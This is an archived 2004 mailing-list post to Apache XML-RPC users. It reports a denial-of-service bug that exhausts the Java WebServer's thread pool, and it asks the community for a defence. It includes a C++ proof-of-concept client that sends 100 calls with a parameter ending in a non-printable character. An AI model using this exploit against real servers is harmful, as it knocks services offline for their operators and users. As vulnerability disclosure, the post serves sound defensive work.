ws-users mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From Filippo Capocasale <keroua...@gsmbox.it>
Subject It's too easy to hack an XMLRPC WebServer!
Date Wed, 14 Apr 2004 13:58:51 GMT
   Hello!
Iíd like to submit to the attention of this community (well, if a mailing list can be considered
a communityÖ) the problem of security in XMLRPC.
Iím not even talking about cryptography and so on, but just about availability of the service.
I think Iíve found a bug that makes XMLRPC WebServer really too weak against a very simple
attack, and Iím gonna show you a practical example.
If an hacker just is able to contact your server and make 100 calls to a service, passing
an appropriate parameter, then he is able to crash your WebServer and make your service unavailable.
And moreover you wonít realize that the service is down if you donít test it, since the process
will be still running and listening on its port.
The attack Iíll show you exploites the limited number of threads of the XMLRPC WebServer and
the fact that the WebServer is not able to terminate a thread if a fatal error is encountered
while parsing the parameters.

Follow me in a practical example.
Suppose you have a WebServer that expose a method requiring a String parameter.
Here is an example of the server:
/*
 * MyXmlRpcServer.java
*/

package server;

import java.io.*;
import java.util.*;
import org.apache.xmlrpc.*;

public class MyXmlRpcServer {    
    /** Creates a new instance of MyXmlRpcServer */
    public MyXmlRpcServer() {
        try{
            XmlRpc.setDriver("com.jclark.xml.sax.Driver");
            WebServer server = new WebServer(3791);
            server.addHandler("handler",new ServiceHandler());
            server.start();
        }
        catch (ClassNotFoundException e) {
            System.out.println("Impossibile localizzare il driver SAX");
            System.exit(1);
        }
    }
    
    public static void main(String[] args) {        
        MyXmlRpcServer server=new MyXmlRpcServer();
    }
}  

Here is an example of the handler:
/*
 * ServiceHandler.java
*/

package server;
import java.io.*;
public class ServiceHandler {
    public String testService(String param){
        System.out.println("Ricevuto: "+param);
        return "OK!";
    }
}

Here is a simple java client:
/*
 * MyXmlRpcClient.java
*/

package client;

import java.io.*;
import java.util.*;
import org.apache.xmlrpc.*;
import java.net.MalformedURLException;

public class MyXmlRpcClient {
    XmlRpcClient client;

    /** Creates a new instance of XmlRpcClient */
    public MyXmlRpcClient() {
        try{
            this.client = new XmlRpcClient("http://<your_server_ip>:3791");
        }	
        catch (MalformedURLException e)
        {
            System.out.println("URL non corretto per il formato XML-RPC: " + e.getMessage());
            System.exit(1);
        }
        catch (IOException e)
        {
            System.out.println("Eccezione IO: " + e.getMessage());
            System.exit(1);
        }
    }

    public String invokeService(String method, String param){
        String str=null;
        try{
            Vector params = new Vector();
            params.addElement(param);
            str=(String)client.execute(method,params);
        }	
        catch (XmlRpcException e)
        {
            System.out.println("Eccezione XML-RPC: " + e.getMessage());
            str="Errore";
        }
        catch (IOException e)
        {
            System.out.println("Eccezione IO: " + e.getMessage());
            str="Errore";
        }
        return str;
    }

    public static void main(String[] args) {
        MyXmlRpcClient myClient=new MyXmlRpcClient();
        String res=myClient.invokeService("handler.testService");
        System.out.println("result="+res);
    }
    
}

It is possible to hack our WebServer just executing the following simple C++ client.
#include "stdafx.h"
#include "xmlrpc_win32_config.h"
#include <xmlrpc.h>
#include <xmlrpc_client.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{
	xmlrpc_env env;
	xmlrpc_value *result;
	xmlrpc_client_init(XMLRPC_CLIENT_NO_FLAGS, "prova", VERSION);
	xmlrpc_env_init(&env);
	char *ret;
	char *param;	
	param = (char *)calloc(10, sizeof(char));
	sprintf(param,"prova");
	param[5]='\b';
	result=NULL;
	for(int i=0;i<100; i++){
		result = xmlrpc_client_call(&env,"http://<your_server_ip>:3791", "handler.testService",
"(s)",param);
		if (env.fault_occurred) 
		{
			printf("%s (%d)\n", env.fault_string, env.fault_code);
			xmlrpc_env_init(&env);
		}
		else{
			ret = (char *)calloc(10, sizeof(char));
			xmlrpc_parse_value(&env,result,"s",&ret);
			printf("%i: Res= %s\n",i,ret);
			free(ret);
		}
	}
	if (result!=NULL) {
		xmlrpc_DECREF(result);
		xmlrpc_env_clean(&env);
		xmlrpc_client_cleanup();
		scanf(ret);
	}
	return 0;
}

This client just calls our testService 100 times, passing a string terminated with a non-printable
character.
On the server side, each call is handled by a thread. The non-printable character will generate
a fatal error in the parsing of the xmlrpc message and the server will not close the thread.
So, with 100 calls the maximum number of thread is reached, and the server will not be able
to accept any other request! (Just try to run the java client and you will seeÖ)

I find this scenario quite worrying, donít you? The worst thing is that, as far as I know,
I canít defend myself on the server side (at least if we donít think to modify the xmlrpc
source codeÖ).
Has anybody already faced this problem? Do you know a way to avoid it?? Any idea?

   Best regards,
     Filippo



-----------------------------------------------------------------
Questo messaggio Ť stato inviato utilizzando http://it.my.gsmbox.com 

Mime
View raw message